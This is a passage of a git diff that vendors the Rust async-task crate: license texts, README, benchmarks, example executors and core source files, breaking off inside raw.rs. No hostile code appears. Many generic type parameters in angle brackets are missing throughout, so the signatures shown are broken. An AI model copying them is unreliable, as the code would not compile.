places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-task/LICENSE-MIT b/lib/malio/async-task/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-task/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-task/README.md b/lib/malio/async-task/README.md new file mode 100644 index 0000000..d146936 --- /dev/null +++ b/lib/malio/async-task/README.md @@ -0,0 +1,69 @@ +# async-task + +[![Build](https://github.com/smol-rs/async-task/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-task/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-task) +[![Cargo](https://img.shields.io/crates/v/async-task.svg)]( +https://crates.io/crates/async-task) +[![Documentation](https://docs.rs/async-task/badge.svg)]( +https://docs.rs/async-task) + +Task abstraction for building executors. + +To spawn a future onto an executor, we first need to allocate it on the heap and keep some +state attached to it. The state indicates whether the future is ready for polling, waiting to +be woken up, or completed. Such a stateful future is called a *task*. + +All executors have a queue that holds scheduled tasks: + +```rust +let (sender, receiver) = flume::unbounded(); +``` + +A task is created using either `spawn()`, `spawn_local()`, or `spawn_unchecked()` which +returns a `Runnable` and a `Task`: + +```rust +// A future that will be spawned. +let future = async { 1 + 2 }; + +// A function that schedules the task when it gets woken up. +let schedule = move |runnable| sender.send(runnable).unwrap(); + +// Construct a task. +let (runnable, task) = async_task::spawn(future, schedule); + +// Push the task into the queue by invoking its schedule function. +runnable.schedule(); +``` + +The `Runnable` is used to poll the task's future, and the `Task` is used to await its +output. + +Finally, we need a loop that takes scheduled tasks from the queue and runs them: + +```rust +for runnable in receiver { + runnable.run(); +} +``` + +Method `run()` polls the task's future once. Then, the `Runnable` +vanishes and only reappears when its `Waker` wakes the task, thus +scheduling it to be run again. + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-task/benches/spawn.rs b/lib/malio/async-task/benches/spawn.rs new file mode 100644 index 0000000..75d059e --- /dev/null +++ b/lib/malio/async-task/benches/spawn.rs @@ -0,0 +1,22 @@ +#![feature(test)] + +extern crate test; + +use smol::future; +use test::Bencher; + +#[bench] +fn task_create(b: &mut Bencher) { + b.iter(|| { + let _ = async_task::spawn(async {}, drop); + }); +} + +#[bench] +fn task_run(b: &mut Bencher) { + b.iter(|| { + let (runnable, task) = async_task::spawn(async {}, drop); + runnable.run(); + future::block_on(task); + }); +} diff --git a/lib/malio/async-task/examples/spawn-local.rs b/lib/malio/async-task/examples/spawn-local.rs new file mode 100644 index 0000000..a9da1b4 --- /dev/null +++ b/lib/malio/async-task/examples/spawn-local.rs @@ -0,0 +1,73 @@ +//! A simple single-threaded executor that can spawn non-`Send` futures. + +use std::cell::Cell; +use std::future::Future; +use std::rc::Rc; + +use async_task::{Runnable, Task}; + +thread_local! { + // A queue that holds scheduled tasks. + static QUEUE: (flume::Sender, flume::Receiver) = flume::unbounded(); +} + +/// Spawns a future on the executor. +fn spawn(future: F) -> Task +where + F: Future + 'static, + T: 'static, +{ + // Create a task that is scheduled by pushing itself into the queue. + let schedule = |runnable| QUEUE.with(|(s, _)| s.send(runnable).unwrap()); + let (runnable, task) = async_task::spawn_local(future, schedule); + + // Schedule the task by pushing it into the queue. + runnable.schedule(); + + task +} + +/// Runs a future to completion. +fn run(future: F) -> T +where + F: Future + 'static, + T: 'static, +{ + // Spawn a task that sends its result through a channel. + let (s, r) = flume::unbounded(); + spawn(async move { drop(s.send(future.await)) }).detach(); + + loop { + // If the original task has completed, return its result. + if let Ok(val) = r.try_recv() { + return val; + } + + // Otherwise, take a task from the queue and run it. + QUEUE.with(|(_, r)| r.recv().unwrap().run()); + } +} + +fn main() { + let val = Rc::new(Cell::new(0)); + + // Run a future that increments a non-`Send` value. + run({ + let val = val.clone(); + async move { + // Spawn a future that increments the value. + let task = spawn({ + let val = val.clone(); + async move { + val.set(dbg!(val.get()) + 1); + } + }); + + val.set(dbg!(val.get()) + 1); + task.await; + } + }); + + // The value should be 2 at the end of the program. + dbg!(val.get()); +} diff --git a/lib/malio/async-task/examples/spawn-on-thread.rs b/lib/malio/async-task/examples/spawn-on-thread.rs new file mode 100644 index 0000000..b0ec2f2 --- /dev/null +++ b/lib/malio/async-task/examples/spawn-on-thread.rs @@ -0,0 +1,53 @@ +//! A function that runs a future to completion on a dedicated thread. + +use std::future::Future; +use std::sync::Arc; +use std::thread; + +use async_task::Task; +use smol::future; + +/// Spawns a future on a new dedicated thread. +/// +/// The returned task can be used to await the output of the future. +fn spawn_on_thread(future: F) -> Task +where + F: Future + Send + 'static, + T: Send + 'static, +{ + // Create a channel that holds the task when it is scheduled for running. + let (sender, receiver) = flume::unbounded(); + let sender = Arc::new(sender); + let s = Arc::downgrade(&sender); + + // Wrap the future into one that disconnects the channel on completion. + let future = async move { + // When the inner future completes, the sender gets dropped and disconnects the channel. + let _sender = sender; + future.await + }; + + // Create a task that is scheduled by sending it into the channel. + let schedule = move |runnable| s.upgrade().unwrap().send(runnable).unwrap(); + let (runnable, task) = async_task::spawn(future, schedule); + + // Schedule the task by sending it into the channel. + runnable.schedule(); + + // Spawn a thread running the task to completion. + thread::spawn(move || { + // Keep taking the task from the channel and running it until completion. + for runnable in receiver { + runnable.run(); + } + }); + + task +} + +fn main() { + // Spawn a future on a dedicated thread. + future::block_on(spawn_on_thread(async { + println!("Hello, world!"); + })); +} diff --git a/lib/malio/async-task/examples/spawn.rs b/lib/malio/async-task/examples/spawn.rs new file mode 100644 index 0000000..3a64811 --- /dev/null +++ b/lib/malio/async-task/examples/spawn.rs @@ -0,0 +1,48 @@ +//! A simple single-threaded executor. + +use std::future::Future; +use std::panic::catch_unwind; +use std::thread; + +use async_task::{Runnable, Task}; +use once_cell::sync::Lazy; +use smol::future; + +/// Spawns a future on the executor. +fn spawn(future: F) -> Task +where + F: Future + Send + 'static, + T: Send + 'static, +{ + // A queue that holds scheduled tasks. + static QUEUE: Lazy> = Lazy::new(|| { + let (sender, receiver) = flume::unbounded::(); + + // Start the executor thread. + thread::spawn(|| { + for runnable in receiver { + // Ignore panics inside futures. + let _ignore_panic = catch_unwind(|| runnable.run()); + } + }); + + sender + }); + + // Create a task that is scheduled by pushing it into the queue. + let schedule = |runnable| QUEUE.send(runnable).unwrap(); + let (runnable, task) = async_task::spawn(future, schedule); + + // Schedule the task by pushing it into the queue. + runnable.schedule(); + + task +} + +fn main() { + // Spawn a future and await its result. + let task = spawn(async { + println!("Hello, world!"); + }); + future::block_on(task); +} diff --git a/lib/malio/async-task/examples/with-metadata.rs b/lib/malio/async-task/examples/with-metadata.rs new file mode 100644 index 0000000..7a71f50 --- /dev/null +++ b/lib/malio/async-task/examples/with-metadata.rs @@ -0,0 +1,143 @@ +//! A single threaded executor that uses shortest-job-first scheduling. + +use std::cell::RefCell; +use std::collections::BinaryHeap; +use std::pin::Pin; +use std::task::{Context, Poll}; +use std::thread; +use std::time::{Duration, Instant}; +use std::{cell::Cell, future::Future}; + +use async_task::{Builder, Runnable, Task}; +use pin_project_lite::pin_project; +use smol::{channel, future}; + +struct ByDuration(Runnable); + +impl ByDuration { + fn duration(&self) -> Duration { + self.0.metadata().inner.get() + } +} + +impl PartialEq for ByDuration { + fn eq(&self, other: &Self) -> bool { + self.duration() == other.duration() + } +} + +impl Eq for ByDuration {} + +impl PartialOrd for ByDuration { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl Ord for ByDuration { + fn cmp(&self, other: &Self) -> std::cmp::Ordering { + self.duration().cmp(&other.duration()).reverse() + } +} + +pin_project! { + #[must_use = "futures do nothing unless you `.await` or poll them"] + struct MeasureRuntime<'a, F> { + #[pin] + f: F, + duration: &'a Cell + } +} + +impl Future for MeasureRuntime<'_, F> { + type Output = F::Output; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let this = self.project(); + let duration_cell: &Cell = this.duration; + let start = Instant::now(); + let res = F::poll(this.f, cx); + let new_duration = Instant::now() - start; + duration_cell.set(duration_cell.get() / 2 + new_duration / 2); + res + } +} + +pub struct DurationMetadata { + inner: Cell, +} + +thread_local! { + // A queue that holds scheduled tasks. + static QUEUE: RefCell> = RefCell::new(BinaryHeap::new()); +} + +fn make_future_fn<'a, F>(future: F) -> impl FnOnce(&'a DurationMetadata) -> MeasureRuntime<'a, F> { + move |duration_meta| MeasureRuntime { + f: future, + duration: &duration_meta.inner, + } +} + +fn ensure_safe_schedule(f: F) -> F { + f +} + +/// Spawns a future on the executor. +pub fn spawn(future: F) -> Task +where + F: Future + 'static, + T: 'static, +{ + let spawn_thread_id = thread::current().id(); + // Create a task that is scheduled by pushing it into the queue. + let schedule = ensure_safe_schedule(move |runnable| { + if thread::current().id() != spawn_thread_id { + panic!("Task would be run on a different thread than spawned on."); + } + QUEUE.with(move |queue| queue.borrow_mut().push(ByDuration(runnable))); + }); + let future_fn = make_future_fn(future); + let (runnable, task) = unsafe { + Builder::new() + .metadata(DurationMetadata { + inner: Cell::new(Duration::default()), + }) + .spawn_unchecked(future_fn, schedule) + }; + + // Schedule the task by pushing it into the queue. + runnable.schedule(); + + task +} + +pub fn block_on(future: F) +where + F: Future + 'static, +{ + let task = spawn(future); + while !task.is_finished() { + let Some(runnable) = QUEUE.with(|queue| queue.borrow_mut().pop()) else { + thread::yield_now(); + continue; + }; + runnable.0.run(); + } +} + +fn main() { + // Spawn a future and await its result. + block_on(async { + let (sender, receiver) = channel::bounded(1); + let world = spawn(async move { + receiver.recv().await.unwrap(); + println!("world.") + }); + let hello = spawn(async move { + sender.send(()).await.unwrap(); + print!("Hello, ") + }); + future::zip(hello, world).await; + }); +} diff --git a/lib/malio/async-task/src/header.rs b/lib/malio/async-task/src/header.rs new file mode 100644 index 0000000..cc42c5a --- /dev/null +++ b/lib/malio/async-task/src/header.rs @@ -0,0 +1,238 @@ +use core::cell::UnsafeCell; +use core::fmt; +use core::task::{RawWaker, Waker}; + +#[cfg(not(feature = "portable-atomic"))] +use core::sync::atomic::AtomicUsize; +use core::sync::atomic::Ordering; +#[cfg(feature = "portable-atomic")] +use portable_atomic::AtomicUsize; + +use crate::raw::TaskVTable; +use crate::state::*; +use crate::utils::abort; +use crate::utils::abort_on_panic; + +/// Actions to take upon calling [`Header::drop_waker`]. +pub(crate) enum DropWakerAction { + /// Re-schedule the task. + Schedule, + /// Destroy the task. + Destroy, + /// Do nothing. + None, +} + +pub(crate) struct Header { + /// Current state of the task. + /// + /// Contains flags representing the current state and the reference count. + pub(crate) state: AtomicUsize, + + /// The task that is blocked on the `Task` handle. + /// + /// This waker needs to be woken up once the task completes or is closed. + pub(crate) awaiter: UnsafeCell>, + + /// The virtual table. + /// + /// In addition to the actual waker virtual table, it also contains pointers to several other + /// methods necessary for bookkeeping the heap-allocated task. + pub(crate) vtable: &'static TaskVTable, + + /// Whether or not a panic that occurs in the task should be propagated. + #[cfg(feature = "std")] + pub(crate) propagate_panic: bool, +} + +impl Header { + /// Notifies the awaiter blocked on this task. + /// + /// If the awaiter is the same as the current waker, it will not be notified. + #[inline] + pub(crate) fn notify(&self, current: Option<&Waker>) { + if let Some(w) = self.take(current) { + abort_on_panic(|| w.wake()); + } + } + + /// Takes the awaiter blocked on this task. + /// + /// If there is no awaiter or if it is the same as the current waker, returns `None`. + #[inline] + pub(crate) fn take(&self, current: Option<&Waker>) -> Option { + // Set the bit indicating that the task is notifying its awaiter. + let state = self.state.fetch_or(NOTIFYING, Ordering::AcqRel); + + // If the task was not notifying or registering an awaiter... + if state & (NOTIFYING | REGISTERING) == 0 { + // Take the waker out. + let waker = unsafe { (*self.awaiter.get()).take() }; + + // Unset the bit indicating that the task is notifying its awaiter. + self.state + .fetch_and(!NOTIFYING & !AWAITER, Ordering::Release); + + // Finally, notify the waker if it's different from the current waker. + if let Some(w) = waker { + match current { + None => return Some(w), + Some(c) if !w.will_wake(c) => return Some(w), + Some(_) => abort_on_panic(|| drop(w)), + } + } + } + + None + } + + /// Registers a new awaiter blocked on this task. + /// + /// This method is called when `Task` is polled and it has not yet completed. + #[inline] + pub(crate) fn register(&self, waker: &Waker) { + // Load the state and synchronize with it. + let mut state = self.state.fetch_or(0, Ordering::Acquire); + + loop { + // There can't be two concurrent registrations because `Task` can only be polled + // by a unique pinned reference. + debug_assert!(state & REGISTERING == 0); + + // If we're in the notifying state at this moment, just wake and return without + // registering. + if state & NOTIFYING != 0 { + abort_on_panic(|| waker.wake_by_ref()); + return; + } + + // Mark the state to let other threads know we're registering a new awaiter. + match self.state.compare_exchange_weak( + state, + state | REGISTERING, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + state |= REGISTERING; + break; + } + Err(s) => state = s, + } + } + + // Put the waker into the awaiter field. + unsafe { + abort_on_panic(|| (*self.awaiter.get()) = Some(waker.clone())); + } + + // This variable will contain the newly registered waker if a notification comes in before + // we complete registration. + let mut waker = None; + + loop { + // If there was a notification, take the waker out of the awaiter field. + if state & NOTIFYING != 0 { + if let Some(w) = unsafe { (*self.awaiter.get()).take() } { + abort_on_panic(|| waker = Some(w)); + } + } + + // The new state is not being notified nor registered, but there might or might not be + // an awaiter depending on whether there was a concurrent notification. + let new = if waker.is_none() { + (state & !NOTIFYING & !REGISTERING) | AWAITER + } else { + state & !NOTIFYING & !REGISTERING & !AWAITER + }; + + match self + .state + .compare_exchange_weak(state, new, Ordering::AcqRel, Ordering::Acquire) + { + Ok(_) => break, + Err(s) => state = s, + } + } + + // If there was a notification during registration, wake the awaiter now. + if let Some(w) = waker { + abort_on_panic(|| w.wake()); + } + } + + /// Clones a waker. + pub(crate) unsafe fn clone_waker(ptr: *const ()) -> RawWaker { + let header = ptr as *const Header; + + // Increment the reference count. With any kind of reference-counted data structure, + // relaxed ordering is appropriate when incrementing the counter. + let state = (*header).state.fetch_add(REFERENCE, Ordering::Relaxed); + + // If the reference count overflowed, abort. + if state > isize::MAX as usize { + abort(); + } + + RawWaker::new(ptr, (*header).vtable.raw_waker_vtable) + } + + #[inline(never)] + pub(crate) unsafe fn drop_waker(ptr: *const ()) -> DropWakerAction { + let header = ptr as *const Header; + + // Decrement the reference count. + let new = (*header).state.fetch_sub(REFERENCE, Ordering::AcqRel) - REFERENCE; + + // If this was the last reference to the task and the `Task` has been dropped too, + // then we need to decide how to destroy the task. + if new & !(REFERENCE - 1) == 0 && new & TASK == 0 { + if new & (COMPLETED | CLOSED) == 0 { + // If the task was not completed nor closed, close it and schedule one more time so + // that its future gets dropped by the executor. + (*header) + .state + .store(SCHEDULED | CLOSED | REFERENCE, Ordering::Release); + DropWakerAction::Schedule + } else { + // Otherwise, destroy the task right away. + DropWakerAction::Destroy + } + } else { + DropWakerAction::None + } + } +} + +// SAFETY: repr(C) is explicitly used here so that casts between `Header` and `HeaderWithMetadata` +// can be done safely without additional offsets. +// +/// The header of a task. +/// +/// This header is stored in memory at the beginning of the heap-allocated task. +#[repr(C)] +pub(crate) struct HeaderWithMetadata { + pub(crate) header: Header, + + /// Metadata associated with the task. + /// + /// This metadata may be provided to the user. + pub(crate) metadata: M, +} + +impl fmt::Debug for HeaderWithMetadata { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let state = self.header.state.load(Ordering::SeqCst); + + f.debug_struct("Header") + .field("scheduled", &(state & SCHEDULED != 0)) + .field("running", &(state & RUNNING != 0)) + .field("completed", &(state & COMPLETED != 0)) + .field("closed", &(state & CLOSED != 0)) + .field("awaiter", &(state & AWAITER != 0)) + .field("task", &(state & TASK != 0)) + .field("ref_count", &(state / REFERENCE)) + .field("metadata", &self.metadata) + .finish() + } +} diff --git a/lib/malio/async-task/src/lib.rs b/lib/malio/async-task/src/lib.rs new file mode 100644 index 0000000..290a749 --- /dev/null +++ b/lib/malio/async-task/src/lib.rs @@ -0,0 +1,121 @@ +//! Task abstraction for building executors. +//! +//! To spawn a future onto an executor, we first need to allocate it on the heap and keep some +//! state attached to it. The state indicates whether the future is ready for polling, waiting to +//! be woken up, or completed. Such a stateful future is called a *task*. +//! +//! All executors have a queue that holds scheduled tasks: +//! +//! ``` +//! let (sender, receiver) = flume::unbounded(); +//! # +//! # // A future that will get spawned. +//! # let future = async { 1 + 2 }; +//! # +//! # // A function that schedules the task when it gets woken up. +//! # let schedule = move |runnable| sender.send(runnable).unwrap(); +//! # +//! # // Create a task. +//! # let (runnable, task) = async_task::spawn(future, schedule); +//! ``` +//! +//! A task is created using either [`spawn()`], [`spawn_local()`], or [`spawn_unchecked()`] which +//! returns a [`Runnable`] and a [`Task`]: +//! +//! ``` +//! # let (sender, receiver) = flume::unbounded(); +//! # +//! // A future that will be spawned. +//! let future = async { 1 + 2 }; +//! +//! // A function that schedules the task when it gets woken up. +//! let schedule = move |runnable| sender.send(runnable).unwrap(); +//! +//! // Construct a task. +//! let (runnable, task) = async_task::spawn(future, schedule); +//! +//! // Push the task into the queue by invoking its schedule function. +//! runnable.schedule(); +//! # let handle = std::thread::spawn(move || { for runnable in receiver { runnable.run(); }}); +//! # smol::future::block_on(task); +//! # handle.join().unwrap(); +//! ``` +//! +//! The [`Runnable`] is used to poll the task's future, and the [`Task`] is used to await its +//! output. +//! +//! Finally, we need a loop that takes scheduled tasks from the queue and runs them: +//! +//! ```no_run +//! # let (sender, receiver) = flume::unbounded(); +//! # +//! # // A future that will get spawned. +//! # let future = async { 1 + 2 }; +//! # +//! # // A function that schedules the task when it gets woken up. +//! # let schedule = move |runnable| sender.send(runnable).unwrap(); +//! # +//! # // Create a task. +//! # let (runnable, task) = async_task::spawn(future, schedule); +//! # +//! # // Push the task into the queue by invoking its schedule function. +//! # runnable.schedule(); +//! # +//! for runnable in receiver { +//! runnable.run(); +//! } +//! ``` +//! +//! Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] +//! vanishes and only reappears when its [`Waker`][`core::task::Waker`] wakes the task, thus +//! scheduling it to be run again. + +#![no_std] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc(test(attr(deny(rust_2018_idioms, warnings))))] +#![doc(test(attr(allow(unused_variables))))] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +extern crate alloc; +#[cfg(feature = "std")] +extern crate std; + +/// We can't use `?` in const contexts yet, so this macro acts +/// as a workaround. +macro_rules! leap { + ($x: expr) => {{ + match ($x) { + Some(val) => val, + None => return None, + } + }}; +} + +macro_rules! leap_unwrap { + ($x: expr) => {{ + match ($x) { + Some(val) => val, + None => panic!("called `Option::unwrap()` on a `None` value"), + } + }}; +} + +mod header; +mod raw; +mod runnable; +mod state; +mod task; +mod utils; + +pub use crate::runnable::{ + spawn, spawn_unchecked, Builder, Runnable, Schedule, ScheduleInfo, WithInfo, +}; +pub use crate::task::{FallibleTask, Task}; + +#[cfg(feature = "std")] +pub use crate::runnable::spawn_local; diff --git a/lib/malio/async-task/src/raw.rs b/lib/malio/async-task/src/raw.rs new file mode 100644 index 0000000..89dd16d --- /dev/null +++ b/lib/malio/async-task/src/raw.rs @@ -0,0 +1,746 @@ +use alloc::alloc::Layout as StdLayout; +use core::future::Future; +use core::marker::PhantomData; +use core::mem::{self, ManuallyDrop}; +use core::pin::Pin; +use core::ptr::NonNull; +use core::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + +use core::sync::atomic::Ordering; + +use crate::header::{DropWakerAction, Header, HeaderWithMetadata}; +use crate::runnable::{Schedule, ScheduleInfo}; +use crate::state::*; +use crate::utils::{abort, abort_on_panic, max, Layout}; +use crate::Runnable; + +#[cfg(feature = "std")] +pub(crate) type Panic = alloc::boxed::Box; + +#[cfg(not(feature = "std"))] +pub(crate) type Panic = core::convert::Infallible; + +/// The vtable for a task. +pub(crate) struct TaskVTable { + pub(crate) raw_waker_vtable: &'static RawWakerVTable, + + /// Schedules the task. + pub(crate) schedule: unsafe fn(*const (), ScheduleInfo), + + /// Drops the future inside the task. + pub(crate) drop_future: unsafe fn(*const (), &TaskLayout), + + /// Destroys the task. + pub(crate) destroy: unsafe fn(*const ()), + + /// Runs the task. + pub(crate) run: unsafe fn(*const ()) -> bool, + + /// The memory layout of the task. This information enables + /// debuggers to decode raw task memory blobs. Do not remove + /// the field, even if it appears to be unused. + pub(crate) layout_info: &'static TaskLayout, +} + +impl TaskVTable { + /// Returns a pointer to the output inside a task. + pub(crate) unsafe fn get_output(&self, ptr: *const ()) -> *const () { + ptr.add_byte(self.layout_info.offset_r) + } +} + +/// Memory layout of a task. +/// +/// This struct contains the following information: +/// +/// 1. How to allocate and deallocate the task. +/// 2. How to access the fields inside the task. +#[derive(Clone, Copy)] +pub(crate) struct TaskLayout { + /// Memory layout of the whole task. + pub(crate) layout: StdLayout, + + /// Offset into the task at which the schedule function is stored. + pub(crate) offset_s: usize, + + /// Offset into the task at which the future is stored. + pub(crate) offset_f: usize, + + /// Offset into the task at which the output is stored. + pub(crate) offset_r: usize, +} + +/// Raw pointers to the fields inside a task. +pub(crate) struct RawTask { + /// The task header. + pub(crate) header: *const HeaderWithMetadata, + + /// The schedule function. + pub(crate) schedule: *const S, + + /// The future. + pub(crate) future: *mut F, + + /// The output of the future. + pub(crate) output: *mut Result, +} + +impl Copy for RawTask {} + +impl Clone for RawTask { + fn clone(&self) -> Self { + *self + } +} + +impl RawTask { + pub(crate) const TASK_LAYOUT: TaskLayout = Self::eval_task_layout(); + + /// Computes the memory layout for a task. + #[inline] + const fn eval_task_layout() -> TaskLayout { + // Compute the layouts for `Header`, `S`, `F`, and `T`. + let layout_header = Layout::new::>(); + let layout_s = Layout::new::(); + let layout_f = Layout::new::(); + let layout_r = Layout::new::>(); + + // Compute the layout for `union { F, T }`. + let size_union = max(layout_f.size(), layout_r.size()); + let align_union = max(layout_f.align(), layout_r.align()); + let layout_union = Layout::from_size_align(size_union, align_union); + + // Compute the layout for `Header` followed by `S` and `union { F, T }`. + let layout = layout_header; + let (layout, offset_s) = leap_unwrap!(layout.extend(layout_s)); + let (layout, offset_union) = leap_unwrap!(layout.extend(layout_union)); + let offset_f = offset_union; + let offset_r = offset_union; + + TaskLayout { + layout: unsafe { layout.into_std() }, + offset_s, + offset_f, + offset_r, + } + } +} + +/// Allocates a task with the given `future` and `schedule` function. +/// +/// It is assumed that initially only the `Runnable` and the `Task` exist. +/// +/// Use a macro to brute force inlining to minimize stack copies of potentially +/// large futures. +macro_rules! allocate_task { + ($f:tt, $s:tt, $m:tt, $builder:ident, $schedule:ident, $raw:ident => $future:block) => {{ + let allocation = + alloc::alloc::alloc(RawTask::<$f, <$f as Future>::Output, $s, $m>::TASK_LAYOUT.layout); + // Allocate enough space for the entire task. + let ptr = NonNull::new(allocation as *mut ()).unwrap_or_else(|| crate::utils::abort()); + + let $raw = RawTask::<$f, <$f as Future>::Output, $s, $m>::from_ptr(ptr.as_ptr()); + + let crate::Builder { + metadata, + #[cfg(feature = "std")] + propagate_panic, + } = $builder; + + // Write the header as the first field of the task. + ($raw.header as *mut HeaderWithMetadata<$m>).write(HeaderWithMetadata { + header: Header { + #[cfg(not(feature = "portable-atomic"))] + state: core::sync::atomic::AtomicUsize::new(SCHEDULED | TASK | REFERENCE), + #[cfg(feature = "portable-atomic")] + state: portable_atomic::AtomicUsize::new(SCHEDULED | TASK | REFERENCE), + awaiter: core::cell::UnsafeCell::new(None), + vtable: &RawTask::<$f, <$f as Future>::Output, $s, $m>::TASK_VTABLE, + #[cfg(feature = "std")] + propagate_panic, + }, + metadata, + }); + + // Write the schedule function as the third field of the task. + ($raw.schedule as *mut S).write($schedule); + + // Explicitly avoid using abort_on_panic here to avoid extra stack + // copies of the future on lower optimization levels. + let bomb = crate::utils::Bomb; + + // Generate the future, now that the metadata has been pinned in place. + // Write the future as the fourth field of the task. + $raw.future.write($future); + // (&(*raw.header).metadata) + + mem::forget(bomb); + ptr + }}; +} + +pub(crate) use allocate_task; + +impl RawTask +where + F: Future, + S: Schedule, +{ + pub(crate) const RAW_WAKER_VTABLE: RawWakerVTable = RawWakerVTable::new( + Header::clone_waker, + wake::, + wake_by_ref::, + drop_waker, + ); + + pub(crate) const TASK_VTABLE: TaskVTable = TaskVTable { + raw_waker_vtable: &Self::RAW_WAKER_VTABLE, + schedule: schedule::, + drop_future: drop_future::, + destroy: destroy::, + run: Self::run, + layout_info: &Self::TASK_LAYOUT, + }; + + /// Creates a `RawTask` from a raw task pointer. + #[inline] + pub(crate) fn from_ptr(ptr: *const ()) -> Self { + unsafe { + Self { + header: ptr as *const HeaderWithMetadata, + schedule: ptr.add_byte(Self::TASK_LAYOUT.offset_s) as *const S, + future: ptr.add_byte(Self::TASK_LAYOUT.offset_f) as *mut F, + output: ptr.add_byte(Self::TASK_LAYOUT.offset_r) as *mut Result, + } + } + } + + /// Runs a task. + /// + /// If polling its future panics, the task will be closed and the panic will be propagated into + /// the caller. + unsafe fn run(ptr: *const ()) -> bool { + let raw = Self::from_ptr(ptr); + let header = ptr as *const Header; + + // Create a context from the raw task pointer and the vtable inside the its header. + let waker = ManuallyDrop::new(Waker::from_raw(RawWaker::new(ptr, 